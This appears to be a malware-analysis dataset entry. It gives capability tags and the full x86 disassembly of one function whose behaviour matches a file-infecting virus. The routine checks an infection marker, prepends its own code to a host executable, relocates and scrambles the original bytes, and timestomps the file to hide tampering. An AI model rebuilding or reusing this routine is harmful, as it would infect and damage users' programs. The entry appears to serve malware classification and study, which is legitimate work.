Function at 0x4041e0
Capabilities:
Get file size
Read file on windows
Set file attributes
Timestomp file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff5c
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0xa4], ecx
mov dword [ebp - 4], ecx
mov ebx, edx
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
call fcn.004036b8
xor eax, eax
push ebp
push 0x404526
push dword fs:[eax]
mov dword fs:[eax], esp
push 1
call sub.kernel32.dll_Sleep
push 0x80000000
lea eax, [ebp - 0xa0]
push eax
mov eax, dword [ebp - 8]
call fcn.004036c8
push eax
call sub.kernel32.dll_OpenFile
mov edi, eax
push 0
push edi
call sub.kernel32.dll_GetFileSize
mov esi, eax
lea eax, [ebp - 0x18]
push eax
push 0
push 0
push edi
call sub.kernel32.dll_GetFileTime
push 0
push 0x41056c
push 5
push 0x408864
push edi
call sub.kernel32.dll_ReadFile
push edi
call sub.kernel32.dll_CloseHandle
lea edx, [ebp - 4]
mov eax, 0x40453c
call fcn.00403fdc
cmp esi, 0x2625a00
jae 0x404500
cmp esi, 0x400
jbe 0x404500
cmp byte [0x408867], 0
jne 0x404500
cmp byte [0x408868], 1
je 0x404500
push ebp
call fcn.00404168
pop ecx
or bl, al
je 0x404500
xor eax, eax
push ebp
push 0x4044f9
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x80
mov eax, dword [ebp - 8]
call fcn.004036c8
push eax
call sub.kernel32.dll_SetFileAttributesA
push 2
lea eax, [ebp - 0xa0]
push eax
mov eax, dword [ebp - 8]
call fcn.004036c8
push eax
call sub.kernel32.dll_OpenFile
mov esi, eax
push 0
push 0
push 0
push esi
call sub.kernel32.dll_SetFilePointer
push 0
lea eax, [ebp - 0xc]
push eax
push 0x7c00
push 0x408864
push esi
call sub.kernel32.dll_ReadFile
cmp dword [ebp - 0xc], 0x7c00
jae 0x40432b
push 0
push 0
push 0x7c00
push esi
call sub.kernel32.dll_SetFilePointer
jmp 0x40433e
push 0
push 0
push 0
push esi
call sub.kernel32.dll_GetFileSize
push eax
push esi
call sub.kernel32.dll_SetFilePointer
push 0
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0xc]
push eax
push 0x408864
push esi
call sub.kernel32.dll_WriteFile_1
push 0
push 0
push 0x200
push esi
call sub.kernel32.dll_SetFilePointer
push 0
lea eax, [ebp - 0xc]
push eax
push pe_nt_image_headers32
push 0x408664
push esi
call sub.kernel32.dll_ReadFile
mov eax, dword [0x4070a4]
mov byte [eax], 2
push 0
lea eax, [ebp - 0xa0]
push eax
lea edx, [ebp - 0xa4]
xor eax, eax
call fcn.004027f8
mov eax, dword [ebp - 0xa4]
call fcn.004036c8
push eax
call sub.kernel32.dll_OpenFile
mov edi, eax
push 0
push 0x41056c
push 0x7c00
push 0x408864
push edi
call sub.kernel32.dll_ReadFile
push edi
call sub.kernel32.dll_CloseHandle
mov eax, dword [0x4070a4]
mov byte [eax], 0
xor ebx, ebx
inc ebx
lea edi, [ebx + 0x7b00]
mov eax, pe_nt_image_headers32
call fcn.004028d8
mov byte [edi + 0x408863], al
mov eax, ebx
and eax, 0x80000001
jns 0x4043f5
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
jne 0x40443f
mov al, byte [edi + 0x408863]
cmp al, byte [edi + 0x408862]
jbe 0x404415
mov al, byte [ebx + 0x408662]
add byte [ebx + 0x408663], al
jmp 0x40443f
mov al, byte [ebx + 0x408662]
sub byte [ebx + 0x408663], al
mov al, byte [ebx + 0x408663]
add byte [ebx + 0x408662], al
mov al, byte [ebx + 0x408662]
sub al, byte [ebx + 0x408663]
mov byte [ebx + 0x408663], al
cmp ebx, 0x100
jl 0x4043d0
mov byte [0x408868], 1
push 0
push 0
push 0
push esi
call sub.kernel32.dll_SetFilePointer
push 0
lea eax, [ebp - 0x10]
push eax
push 0x7c00
push 0x408864
push esi
call sub.kernel32.dll_WriteFile_1
push 0
push esi
call sub.kernel32.dll_GetFileSize
cmp eax, 0xf800
ja 0x404490
push 0
push 0
push 0x7e00
push esi
call sub.kernel32.dll_SetFilePointer
jmp 0x4044ad
push 0
push 0
push 0
push esi
call sub.kernel32.dll_GetFileSize
sub eax, 0x7c00
add eax, 0x200
push eax
push esi
call sub.kernel32.dll_SetFilePointer
push 0
lea eax, [ebp - 0x10]
push eax
push pe_nt_image_headers32
push 0x408664
push esi
call sub.kernel32.dll_WriteFile_1
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x18]
push eax
push esi
call sub.kernel32.dll_SetFileTime
push esi
call sub.kernel32.dll_CloseHandle
cmp byte [0x4104c9], 0
je 0x4044eb
mov byte [0x4104c9], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x404500
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40452d
lea eax, [ebp - 0xa4]
call fcn.00403344
lea eax, [ebp - 8]
mov edx, 2
call fcn.00403368
ret